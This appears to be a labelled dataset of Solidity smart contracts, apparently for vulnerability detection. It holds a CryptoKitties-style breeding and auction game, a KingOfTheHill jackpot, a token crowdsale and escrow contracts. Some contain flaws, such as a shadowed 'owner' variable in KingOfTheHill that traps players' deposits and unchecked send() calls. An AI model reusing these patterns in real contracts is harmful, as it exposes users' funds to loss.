returns (bool)
{
return _ninjaId > 0 && ninjas[_ninjaId].siringWithId != 0;
}
function _isValidMatingPair(
Ninja storage _matron,
uint256 _matronId,
Ninja storage _sire,
uint256 _sireId
)
private
view
returns(bool)
{
if (_matronId == _sireId) {
return false;
}
if (_matron.matronId == _sireId || _matron.sireId == _sireId) {
return false;
}
if (_sire.matronId == _matronId || _sire.sireId == _matronId) {
return false;
}
if (_sire.matronId == 0 || _matron.matronId == 0) {
return true;
}
if (_sire.matronId == _matron.matronId || _sire.matronId == _matron.sireId) {
return false;
}
if (_sire.sireId == _matron.matronId || _sire.sireId == _matron.sireId) {
return false;
}
return true;
}
function _canBreedWithViaAuction(uint256 _matronId, uint256 _sireId)
internal
view
returns (bool)
{
Ninja storage matron = ninjas[_matronId];
Ninja storage sire = ninjas[_sireId];
return _isValidMatingPair(matron, _matronId, sire, _sireId);
}
function canBreedWith(uint256 _matronId, uint256 _sireId)
external
view
returns(bool)
{
require(_matronId > 0);
require(_sireId > 0);
Ninja storage matron = ninjas[_matronId];
Ninja storage sire = ninjas[_sireId];
return _isValidMatingPair(matron, _matronId, sire, _sireId) &&
_isSiringPermitted(_sireId, _matronId);
}
function _breedWith(uint256 _matronId, uint256 _sireId) internal {
Ninja storage sire = ninjas[_sireId];
Ninja storage matron = ninjas[_matronId];
matron.siringWithId = uint32(_sireId);
_triggerCooldown(sire);
_triggerCooldown(matron);
delete sireAllowedToAddress[_matronId];
delete sireAllowedToAddress[_sireId];
pregnantNinjas++;
Pregnant(ninjaIndexToOwner[_matronId], _matronId, _sireId, matron.cooldownEndBlock);
}
function breedWithAuto(uint256 _matronId, uint256 _sireId)
external
payable
whenNotPaused
{
require(msg.value >= autoBirthFee);
require(_owns(msg.sender, _matronId));
require(_isSiringPermitted(_sireId, _matronId));
Ninja storage matron = ninjas[_matronId];
require(_isReadyToBreed(_matronId, matron));
Ninja storage sire = ninjas[_sireId];
require(_isReadyToBreed(_sireId, sire));
require(_isValidMatingPair(
matron,
_matronId,
sire,
_sireId
));
_breedWith(_matronId, _sireId);
}
function giveBirth(uint256 _matronId)
external
whenNotPaused
returns(uint256)
{
Ninja storage matron = ninjas[_matronId];
require(matron.birthTime != 0);
require(_isReadyToGiveBirth(matron));
uint256 sireId = matron.siringWithId;
Ninja storage sire = ninjas[sireId];
uint16 parentGen = matron.generation;
if (sire.generation > matron.generation) {
parentGen = sire.generation;
}
uint256 childGenes = geneScience.mixGenes(matron.genes, sire.genes, matron.cooldownEndBlock - 1);
address owner = ninjaIndexToOwner[_matronId];
uint256 ninjaId = _createNinja(_matronId, matron.siringWithId, parentGen + 1, childGenes, owner);
delete matron.siringWithId;
pregnantNinjas--;
msg.sender.send(autoBirthFee);
return ninjaId;
}
}
contract ClockAuctionBase {
struct Auction {
address seller;
uint128 startingPrice;
uint128 endingPrice;
uint64 duration;
uint64 startedAt;
}
ERC721 public nonFungibleContract;
uint256 public ownerCut;
mapping (uint256 => Auction) tokenIdToAuction;
event AuctionCreated(
address seller,
uint256 tokenId,
uint256 startingPrice,
uint256 endingPrice,
uint256 creationTime,
uint256 duration
);
event AuctionSuccessful(uint256 tokenId, uint256 totalPrice, address seller, address winner, uint256 time);
event AuctionCancelled(uint256 tokenId, address seller, uint256 time);
function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) {
return (nonFungibleContract.ownerOf(_tokenId) == _claimant);
}
function _escrow(address _owner, uint256 _tokenId) internal {
nonFungibleContract.transferFrom(_owner, this, _tokenId);
}
function _transfer(address _receiver, uint256 _tokenId) internal {
nonFungibleContract.transfer(_receiver, _tokenId);
}
function _addAuction(uint256 _tokenId, Auction _auction) internal {
require(_auction.duration >= 1 minutes);
tokenIdToAuction[_tokenId] = _auction;
AuctionCreated(
_auction.seller,
uint256(_tokenId),
uint256(_auction.startingPrice),
uint256(_auction.endingPrice),
uint256(_auction.startedAt),
uint256(_auction.duration)
);
}
function _cancelAuction(uint256 _tokenId, address _seller) internal {
_removeAuction(_tokenId);
_transfer(_seller, _tokenId);
AuctionCancelled(_tokenId, _seller, uint256(now));
}
function _bid(uint256 _tokenId, uint256 _bidAmount)
internal
returns (uint256)
{
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
uint256 price = _currentPrice(auction);
require(_bidAmount >= price);
address seller = auction.seller;
_removeAuction(_tokenId);
if (price > 0) {
uint256 auctioneerCut = _computeCut(price);
uint256 sellerProceeds = price - auctioneerCut;
seller.transfer(sellerProceeds);
}
uint256 bidExcess = _bidAmount - price;
msg.sender.transfer(bidExcess);
AuctionSuccessful(_tokenId, price, seller, msg.sender, uint256(now));
return price;
}
function _removeAuction(uint256 _tokenId) internal {
delete tokenIdToAuction[_tokenId];
}
function _isOnAuction(Auction storage _auction) internal view returns (bool) {
return (_auction.startedAt > 0);
}
function _currentPrice(Auction storage _auction)
internal
view
returns (uint256)
{
uint256 secondsPassed = 0;
if (now > _auction.startedAt) {
secondsPassed = now - _auction.startedAt;
}
return _computeCurrentPrice(
_auction.startingPrice,
_auction.endingPrice,
_auction.duration,
secondsPassed
);
}
function _computeCurrentPrice(
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration,
uint256 _secondsPassed
)
internal
pure
returns (uint256)
{
if (_secondsPassed >= _duration) {
return _endingPrice;
} else {
int256 totalPriceChange = int256(_endingPrice) - int256(_startingPrice);
int256 currentPriceChange = totalPriceChange * int256(_secondsPassed) / int256(_duration);
int256 currentPrice = int256(_startingPrice) + currentPriceChange;
return uint256(currentPrice);
}
}
function _computeCut(uint256 _price) internal view returns (uint256) {
return _price * ownerCut / 10000;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
function unpause() public onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract ClockAuction is Pausable, ClockAuctionBase {
function ClockAuction(address _nftAddress, uint256 _cut) public {
require(_cut <= 10000);
ownerCut = _cut;
ERC721 candidateContract = ERC721(_nftAddress);
nonFungibleContract = candidateContract;
}
function withdrawBalance() external {
address nftAddress = address(nonFungibleContract);
require(
msg.sender == owner ||
msg.sender == nftAddress
);
bool res = nftAddress.send(this.balance);
}
function createAuction(
uint256 _tokenId,
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration,
address _seller
)
external
whenNotPaused
{
require(_startingPrice == uint256(uint128(_startingPrice)));
require(_endingPrice == uint256(uint128(_endingPrice)));
require(_duration == uint256(uint64(_duration)));
require(_owns(msg.sender, _tokenId));
_escrow(msg.sender, _tokenId);
Auction memory auction = Auction(
_seller,
uint128(_startingPrice),
uint128(_endingPrice),
uint64(_duration),
uint64(now)
);
_addAuction(_tokenId, auction);
}
function bid(uint256 _tokenId)
external
payable
whenNotPaused
{
_bid(_tokenId, msg.value);
_transfer(msg.sender, _tokenId);
}
function cancelAuction(uint256 _tokenId)
external
{
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
address seller = auction.seller;
require(msg.sender == seller);
_cancelAuction(_tokenId, seller);
}
function cancelAuctionWhenPaused(uint256 _tokenId)
external
whenPaused
onlyOwner
{
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
_cancelAuction(_tokenId, auction.seller);
}
function getAuction(uint256 _tokenId)
external
view
returns
(
address seller,
uint256 startingPrice,
uint256 endingPrice,
uint256 duration,
uint256 startedAt
)
{
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
return (
auction.seller,
auction.startingPrice,
auction.endingPrice,
auction.duration,
auction.startedAt
);
}
function getCurrentPrice(uint256 _tokenId)
external
view
returns (uint256)
{
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
return _currentPrice(auction);
}
}
contract SiringClockAuction is ClockAuction {
bool public isSiringClockAuction = true;
function SiringClockAuction(address _nftAddr, uint256 _cut) public
ClockAuction(_nftAddr, _cut) {}
function createAuction(
uint256 _tokenId,
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration,
address _seller
)
external
{
require(_startingPrice == uint256(uint128(_startingPrice)));
require(_endingPrice == uint256(uint128(_endingPrice)));
require(_duration == uint256(uint64(_duration)));
require(msg.sender == address(nonFungibleContract));
_escrow(_seller, _tokenId);
Auction memory auction = Auction(
_seller,
uint128(_startingPrice),
uint128(_endingPrice),
uint64(_duration),
uint64(now)
);
_addAuction(_tokenId, auction);
}
function bid(uint256 _tokenId)
external
payable
{
require(msg.sender == address(nonFungibleContract));
address seller = tokenIdToAuction[_tokenId].seller;
_bid(_tokenId, msg.value);
_transfer(seller, _tokenId);
}
}
contract SaleClockAuction is ClockAuction {
bool public isSaleClockAuction = true;
uint256 public gen0SaleCount;
uint256[5] public lastGen0SalePrices;
function SaleClockAuction(address _nftAddr, uint256 _cut) public
ClockAuction(_nftAddr, _cut) {}
function createAuction(
uint256 _tokenId,
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration,
address _seller
)
external
{
require(_startingPrice == uint256(uint128(_startingPrice)));
require(_endingPrice == uint256(uint128(_endingPrice)));
require(_duration == uint256(uint64(_duration)));
require(msg.sender == address(nonFungibleContract));
_escrow(_seller, _tokenId);
Auction memory auction = Auction(
_seller,
uint128(_startingPrice),
uint128(_endingPrice),
uint64(_duration),
uint64(now)
);
_addAuction(_tokenId, auction);
}
function bid(uint256 _tokenId)
external
payable
{
address seller = tokenIdToAuction[_tokenId].seller;
uint256 price = _bid(_tokenId, msg.value);
_transfer(msg.sender, _tokenId);
if (seller == address(nonFungibleContract)) {
lastGen0SalePrices[gen0SaleCount % 5] = price;
gen0SaleCount++;
}
}
function averageGen0SalePrice() external view returns (uint256) {
uint256 sum = 0;
for (uint256 i = 0; i < 5; i++) {
sum += lastGen0SalePrices[i];
}
return sum / 5;
}
}
contract NinjaAuction is NinjaBreeding {
function setSaleAuctionAddress(address _address) external onlyCEO {
SaleClockAuction candidateContract = SaleClockAuction(_address);
require(candidateContract.isSaleClockAuction());
saleAuction = candidateContract;
}
function setSiringAuctionAddress(address _address) external onlyCEO {
SiringClockAuction candidateContract = SiringClockAuction(_address);
require(candidateContract.isSiringClockAuction());
siringAuction = candidateContract;
}
function createSaleAuction(
uint256 _ninjaId,
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration
)
external
whenNotPaused
{
require(_owns(msg.sender, _ninjaId));
require(!isPregnant(_ninjaId));
_approve(_ninjaId, saleAuction);
saleAuction.createAuction(
_ninjaId,
_startingPrice,
_endingPrice,
_duration,
msg.sender
);
}
function createSiringAuction(
uint256 _ninjaId,
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration
)
external
whenNotPaused
{
require(_owns(msg.sender, _ninjaId));
require(isReadyToBreed(_ninjaId));
_approve(_ninjaId, siringAuction);
siringAuction.createAuction(
_ninjaId,
_startingPrice,
_endingPrice,
_duration,
msg.sender
);
}
function bidOnSiringAuction(
uint256 _sireId,
uint256 _matronId
)
external
payable
whenNotPaused
{
require(_owns(msg.sender, _matronId));
require(isReadyToBreed(_matronId));
require(_canBreedWithViaAuction(_matronId, _sireId));
uint256 currentPrice = siringAuction.getCurrentPrice(_sireId);
require(msg.value >= currentPrice + autoBirthFee);
siringAuction.bid.value(msg.value - autoBirthFee)(_sireId);
_breedWith(uint32(_matronId), uint32(_sireId));
}
function withdrawAuctionBalances() external onlyCLevel {
saleAuction.withdrawBalance();
siringAuction.withdrawBalance();
}
}
contract NinjaMinting is NinjaAuction {
uint256 public constant PROMO_CREATION_LIMIT = 5000;
uint256 public constant GEN0_CREATION_LIMIT = 45000;
uint256 public constant GEN0_STARTING_PRICE = 10 finney;
uint256 public constant GEN0_AUCTION_DURATION = 1 days;
uint256 public promoCreatedCount;
uint256 public gen0CreatedCount;
function createPromoNinja(uint256 _genes, address _owner) external onlyCOO {
address ninjaOwner = _owner;
if (ninjaOwner == address(0)) {
ninjaOwner = cooAddress;
}
require(promoCreatedCount < PROMO_CREATION_LIMIT);
promoCreatedCount++;
_createNinja(0, 0, 0, _genes, ninjaOwner);
}
function createGen0Auction(uint256 _genes) external onlyCOO {
require(gen0CreatedCount < GEN0_CREATION_LIMIT);
uint256 ninjaId = _createNinja(0, 0, 0, _genes, address(this));
_approve(ninjaId, saleAuction);
saleAuction.createAuction(
ninjaId,
_computeNextGen0Price(),
0,
GEN0_AUCTION_DURATION,
address(this)
);
gen0CreatedCount++;
}
function _computeNextGen0Price() internal view returns (uint256) {
uint256 avePrice = saleAuction.averageGen0SalePrice();
require(avePrice == uint256(uint128(avePrice)));
uint256 nextPrice = avePrice + (avePrice / 2);
if (nextPrice < GEN0_STARTING_PRICE) {
nextPrice = GEN0_STARTING_PRICE;
}
return nextPrice;
}
}
contract NinjaCore is NinjaMinting {
address public newContractAddress;
function NinjaCore() public {
paused = true;
ceoAddress = msg.sender;
cooAddress = msg.sender;
_createNinja(0, 0, 0, uint256(-1), msg.sender);
}
function setNewAddress(address _v2Address) external onlyCEO whenPaused {
newContractAddress = _v2Address;
ContractUpgrade(_v2Address);
}
function() external payable {
require(
msg.sender == address(saleAuction) ||
msg.sender == address(siringAuction)
);
}
function getNinja(uint256 _id)
external
view
returns (
bool isGestating,
bool isReady,
uint256 cooldownIndex,
uint256 nextActionAt,
uint256 siringWithId,
uint256 birthTime,
uint256 matronId,
uint256 sireId,
uint256 generation,
uint256 genes
)
{
require(ninjaIndexToOwner[_id] != address(0));
Ninja storage ninja = ninjas[_id];
isGestating = (ninja.siringWithId != 0);
isReady = (ninja.cooldownEndBlock <= block.number);
cooldownIndex = uint256(ninja.cooldownIndex);
nextActionAt = uint256(ninja.cooldownEndBlock);
siringWithId = uint256(ninja.siringWithId);
birthTime = uint256(ninja.birthTime);
matronId = uint256(ninja.matronId);
sireId = uint256(ninja.sireId);
generation = uint256(ninja.generation);
genes = ninja.genes;
}
function unpause() public onlyCEO whenPaused {
require(saleAuction != address(0));
require(siringAuction != address(0));
require(geneScience != address(0));
require(newContractAddress == address(0));
super.unpause();
}
function withdrawBalance() external onlyCFO {
uint256 balance = this.balance;
uint256 subtractFees = (pregnantNinjas + 1) * autoBirthFee;
if (balance > subtractFees) {
cfoAddress.send(balance - subtractFees);
}
}
function destroyNinja(uint256 _ninjaId) external onlyCEO {
require(locks[_ninjaId] == 0);
_destroyNinja(_ninjaId);
}
} | 0 | 2,337 |
pragma solidity ^0.4.11;
contract Owned {
address owner; function Owned() {
owner = msg.sender;
}
modifier onlyOwner{
if (msg.sender != owner)
revert(); _;
}
}
contract KingOfTheHill is Owned {
address public owner;
uint public jackpot;
uint public withdrawDelay;
function() public payable {
if (msg.value > jackpot) {
owner = msg.sender;
withdrawDelay = block.timestamp + 5 days;
}
jackpot+=msg.value;
}
function takeAll() public onlyOwner {
require(block.timestamp >= withdrawDelay);
msg.sender.transfer(this.balance);
jackpot=0;
}
} | 1 | 3,759 |
pragma solidity ^0.4.16;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract BurnableToken is StandardToken {
function burn(uint _value) public {
require(_value > 0);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
event Burn(address indexed burner, uint indexed value);
}
contract Tincoin is BurnableToken {
string public constant name = "Tincoin";
string public constant symbol = "TIN";
uint8 public constant decimals = 18;
uint256 public INITIAL_SUPPLY = 100000000 * 1 ether;
function Tincoin () {
totalSupply = INITIAL_SUPPLY;
balances[0x2ff19Ce720e19d0F010f953CE3FAFd3E3A0A55a4] = INITIAL_SUPPLY;
}
}
contract Crowdsale is Ownable {
using SafeMath for uint;
address multisig;
Tincoin public token = new Tincoin ();
uint start;
function Start() constant returns (uint) {
return start;
}
function setStart(uint newStart) onlyOwner {
start = newStart;
}
uint period;
function Period() constant returns (uint) {
return period;
}
function setPeriod(uint newPeriod) onlyOwner {
period = newPeriod;
}
uint rate;
function Rate() constant returns (uint) {
return rate;
}
function setRate(uint newRate) onlyOwner {
rate = newRate * (10**18);
}
function Crowdsale() {
multisig = 0xF743a32Af0402d1202aedc1d6c1A5A9e0610FAa7;
rate = 10000000000000000000;
start = 1514037565;
period = 365;
}
modifier saleIsOn() {
require(now > start && now < start + period * 1 days);
_;
}
modifier limitation() {
require(msg.value >= 10000000000000000);
_;
}
function createTokens() limitation saleIsOn payable {
multisig.transfer(msg.value);
uint tokens = rate.mul(msg.value).div(1 ether);
token.transfer(msg.sender, tokens);
}
function() external payable {
createTokens();
}
} | 1 | 3,715 |
pragma solidity ^0.4.18;
contract SimpleEscrow {
uint public PERIOD = 21 days;
uint public SAFE_PERIOD = 5 days;
address public developerWallet = 0xEA15Adb66DC92a4BbCcC8Bf32fd25E2e86a2A770;
address public customerWallet;
uint public started;
uint public orderLastDate;
uint public safeLastDate;
address public owner;
function SimpleEscrow() public {
owner = msg.sender;
}
modifier onlyCustomer() {
require(msg.sender == customerWallet);
_;
}
modifier onlyDeveloper() {
require(msg.sender == developerWallet);
_;
}
function setDeveloperWallet(address newDeveloperWallet) public {
require(msg.sender == owner);
developerWallet = newDeveloperWallet;
}
function completed() public onlyCustomer {
developerWallet.transfer(this.balance);
}
function orderNotAccepted() public onlyCustomer {
require(now >= orderLastDate);
safeLastDate += SAFE_PERIOD;
}
function failedByDeveloper() public onlyDeveloper {
customerWallet.transfer(this.balance);
}
function completeOrderBySafePeriod() public onlyDeveloper {
require(now >= safeLastDate);
developerWallet.transfer(this.balance);
}
function () external payable {
require(customerWallet == address(0x0));
customerWallet = msg.sender;
started = now;
orderLastDate = started + PERIOD;
safeLastDate = orderLastDate + SAFE_PERIOD;
}
} | 1 | 4,301 |
pragma solidity 0.5.1;
library ECTools {
function recover(bytes32 originalMessage, bytes memory signedMessage) public pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
if (signedMessage.length != 65) {
return (address(0));
}
assembly {
r := mload(add(signedMessage, 32))
s := mload(add(signedMessage, 64))
v := byte(0, mload(add(signedMessage, 96)))
}
if (v < 27) {
v += 27;
}
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(originalMessage, v, r, s);
}
}
function toEthereumSignedMessage(bytes32 _msg) public pure returns (bytes32) {
bytes memory prefix = "\x19Ethereum Signed Message:\n32";
return keccak256(abi.encodePacked(prefix, _msg));
}
function prefixedRecover(bytes32 _msg, bytes memory sig) public pure returns (address) {
bytes32 ethSignedMsg = toEthereumSignedMessage(_msg);
return recover(ethSignedMsg, sig);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
contract Escrow_V3 {
using SafeMath for uint256;
ERC20 public tokenContract;
mapping (address => bool) public signers;
mapping (address => bool) public fundExecutors;
mapping (uint256 => bool) public usedNonces;
address payable public dAppAdmin;
uint256 constant public REFUNDING_LOGIC_GAS_COST = 7901;
uint256 constant public FIAT_PAYMENT_FUND_FUNCTION_CALL_GAS_USED = 32831;
uint256 constant public RELAYED_PAYMENT_FUND_FUNCTION_CALL_GAS_USED = 32323;
modifier onlyDAppAdmin() {
require(msg.sender == dAppAdmin, "Unauthorized access");
_;
}
modifier onlyFundExecutor() {
require(fundExecutors[msg.sender], "Unauthorized access");
_;
}
modifier preValidateFund(uint256 nonce, uint256 gasprice) {
require(!usedNonces[nonce], "Nonce already used");
require(gasprice == tx.gasprice, "Gas price is different from the signed one");
_;
}
constructor(address tokenAddress, address payable _dAppAdmin, address[] memory _fundExecutors) public {
dAppAdmin = _dAppAdmin;
tokenContract = ERC20(tokenAddress);
for (uint i = 0; i < _fundExecutors.length; i++) {
fundExecutors[_fundExecutors[i]] = true;
}
}
function fundForRelayedPayment(
uint256 nonce,
uint256 gasprice,
address payable addressToFund,
uint256 weiAmount,
bytes memory authorizationSignature) public preValidateFund(nonce, gasprice) onlyFundExecutor()
{
uint256 gasLimit = gasleft().add(RELAYED_PAYMENT_FUND_FUNCTION_CALL_GAS_USED);
bytes32 hashedParameters = keccak256(abi.encodePacked(nonce, address(this), gasprice, addressToFund, weiAmount));
_preFund(hashedParameters, authorizationSignature, nonce);
addressToFund.transfer(weiAmount);
_refundMsgSender(gasLimit, gasprice);
}
function fundForFiatPayment(
uint256 nonce,
uint256 gasprice,
address payable addressToFund,
uint256 weiAmount,
uint256 tokenAmount,
bytes memory authorizationSignature) public preValidateFund(nonce, gasprice) onlyFundExecutor()
{
uint256 gasLimit = gasleft().add(FIAT_PAYMENT_FUND_FUNCTION_CALL_GAS_USED);
bytes32 hashedParameters = keccak256(abi.encodePacked(nonce, address(this), gasprice, addressToFund, weiAmount, tokenAmount));
_preFund(hashedParameters, authorizationSignature, nonce);
tokenContract.transfer(addressToFund, tokenAmount);
addressToFund.transfer(weiAmount);
_refundMsgSender(gasLimit, gasprice);
}
function _preFund(bytes32 hashedParameters, bytes memory authorizationSignature, uint256 nonce) internal {
address signer = getSigner(hashedParameters, authorizationSignature);
require(signers[signer], "Invalid authorization signature or signer");
usedNonces[nonce] = true;
}
function getSigner(bytes32 raw, bytes memory sig) public pure returns(address signer) {
return ECTools.prefixedRecover(raw, sig);
}
function _refundMsgSender(uint256 gasLimit, uint256 gasprice) internal {
uint256 refundAmount = gasLimit.sub(gasleft()).add(REFUNDING_LOGIC_GAS_COST).mul(gasprice);
msg.sender.transfer(refundAmount);
}
function withdrawEthers(uint256 ethersAmount) public onlyDAppAdmin {
dAppAdmin.transfer(ethersAmount);
}
function withdrawTokens(uint256 tokensAmount) public onlyDAppAdmin {
tokenContract.transfer(dAppAdmin, tokensAmount);
}
function editSigner(address _newSigner, bool add) public onlyDAppAdmin {
signers[_newSigner] = add;
}
function editDappAdmin (address payable _dAppAdmin) public onlyDAppAdmin {
dAppAdmin = _dAppAdmin;
}
function editFundExecutor(address _newExecutor, bool add) public onlyDAppAdmin {
fundExecutors[_newExecutor] = add;
}
function() external payable {}
} | 1 | 4,335 |
pragma solidity 0.6.12;
library AddressUpgradeable {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Initializable {
bool private _initialized;
bool private _initializing;
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
interface IERC20Upgradeable {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IStarkExV2 {
function registerUser(
address ethKey,
uint256 starkKey,
bytes calldata signature
) external;
function deposit(
uint256 starkKey,
uint256 assetType,
uint256 vaultId,
uint256 quantizedAmount
) external;
function deposit(
uint256 starkKey,
uint256 assetType,
uint256 vaultId
) external payable;
function getWithdrawalBalance(
uint256 starkKey,
uint256 tokenId
) external view returns (uint256);
function getQuantum(
uint256 presumedAssetType
) external view returns (uint256);
function getAssetInfo(
uint256 assetType
) external view returns (bytes memory);
}
